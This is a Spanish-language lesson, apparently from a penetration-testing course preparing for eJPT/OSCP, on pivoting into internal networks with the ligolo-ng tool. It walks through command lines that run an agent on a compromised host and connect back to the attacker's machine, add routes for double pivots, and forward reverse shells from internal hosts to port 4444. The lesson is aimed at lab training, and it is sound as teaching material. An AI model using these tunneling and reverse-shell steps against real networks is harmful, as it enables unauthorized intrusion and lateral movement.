ligolo-ng: pivoting como si tuvieras un cable a la red interna
Ya sabes pivotar con proxychains y con Metasploit (Semana 7). Esta es la herramienta que, una vez la pruebas, no sueltas: ligolo-ng. Aqui esta todo lo que necesitas para usarla con soltura.
💡Por que es DIFERENTE (la idea clave)
proxychains / SOCKS: es un proxy. Tienes que envolver cada comando (proxychains nmap...), funciona sobre todo con TCP, y el doble pivot se encadena a mano.
ligolo-ng: NO es un proxy, es una interfaz de red virtual (TUN), como una VPN hacia la red interna. Eso significa que usas tus herramientas nativas (nmap, curl, el navegador, Metasploit) sin envolver nada, y el doble pivot se reduce a anadir otra ruta.
Grabate esto: ligolo no es un proxy, es una tarjeta de red virtual a la red del objetivo.
🧰Las dos piezas
ligolo-ng tiene dos binarios (ya instalados en tu Kali):
| proxy | Corre en TU Kali. Crea la interfaz TUN y escucha a que el agente llame a casa. |
| agent | Lo subes al pivote comprometido. Hace una conexion SALIENTE hacia tu proxy (evade firewalls de entrada). |
El agent tambien lo tienes en /usr/share/ligolo-ng/agent para servirlo/transferirlo facil.
▶Paso a paso (un pivot)
1. En tu Kali: crea la interfaz TUN (una sola vez) y lanza el proxy.
kali@kali:~$ sudo ip tuntap add user kali mode tun ligolo:~$ sudo ip link set ligolo upkali@kali:~$ ./proxy -selfcertligolo-ng > (escuchando en 0.0.0.0:11601)
2. En el pivote comprometido: sube y ejecuta el agente apuntando a tu Kali.
pivote:~$ ./agent -connect TU_KALI:11601 -ignore-cert[agent] joined the party
3. En la consola de ligolo: seleccionas la sesion, miras sus redes y arrancas el tunel.
ligolo-ng >session # eliges la sesion del agenteligolo-ng >ifconfig # ves la 2a red del pivote (p.ej. 172.16.8.0/24)ligolo-ng >start
4. En tu Kali: anade la ruta a la red interna por la interfaz ligolo. Y ya: tools nativas.
kali@kali:~$ sudo ip route add 172.16.8.0/24 dev ligolo:~$ nmap -sV 172.16.8.10 # NATIVO, sin proxychains:~$ curl http://172.16.8.10 # como si estuvieras dentro
🔁Doble pivot = otra sesion, otra ruta
Lo que en la M29 fue encadenar tuneles a mano, aqui es trivial:
# subes el agent al 2o pivote y lo conectasligolo-ng >session # 2 - agent@pivote2 (RED C)kali@kali:~$ sudo ip route add 10.80.0.0/24 dev ligolo
Y ya alcanzas la red mas profunda. Otra sesion, otra ruta.
🔐Reverse shells que vuelven solas (listener_add)
El agente puede reenviarte puertos de vuelta, para que una reverse shell desde una maquina interna llegue a tu Kali sin montar tuneles inversos a mano:
ligolo-ng >listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444# una reverse shell de la interna -> vuelve a tu Kali
🔧Problemas tipicos (troubleshooting)
| 'open /dev/net/tun: no such file' | Tu Kali ya trae el dispositivo; si lo lanzaste antes, resetea/relanza tu Kali y vuelve a probar. |
| El agent no conecta | Revisa que apuntas a la IP de TU Kali y al puerto 11601, y usa -ignore-cert con -selfcert. |
| nmap no llega a la interna | Te falta la RUTA: sudo ip route add RED_INTERNA/24 dev ligolo, y haber hecho 'start' en ligolo. |
| Permiso denegado al crear la interfaz | Usa sudo (tu Kali tiene sudo sin contrasena). |
🎯Para el examen (eJPT/OSCP)
En el examen, ten claras tambien proxychains y Metasploit (autoroute + socks_proxy): son las vias que te garantizan aprobar. Pero para tu dia a dia y para sentirte comodo pivotando, ligolo-ng es la herramienta. Praticala en las maquinas de pivoting (M27-M30) y en el Lab de ligolo-ng.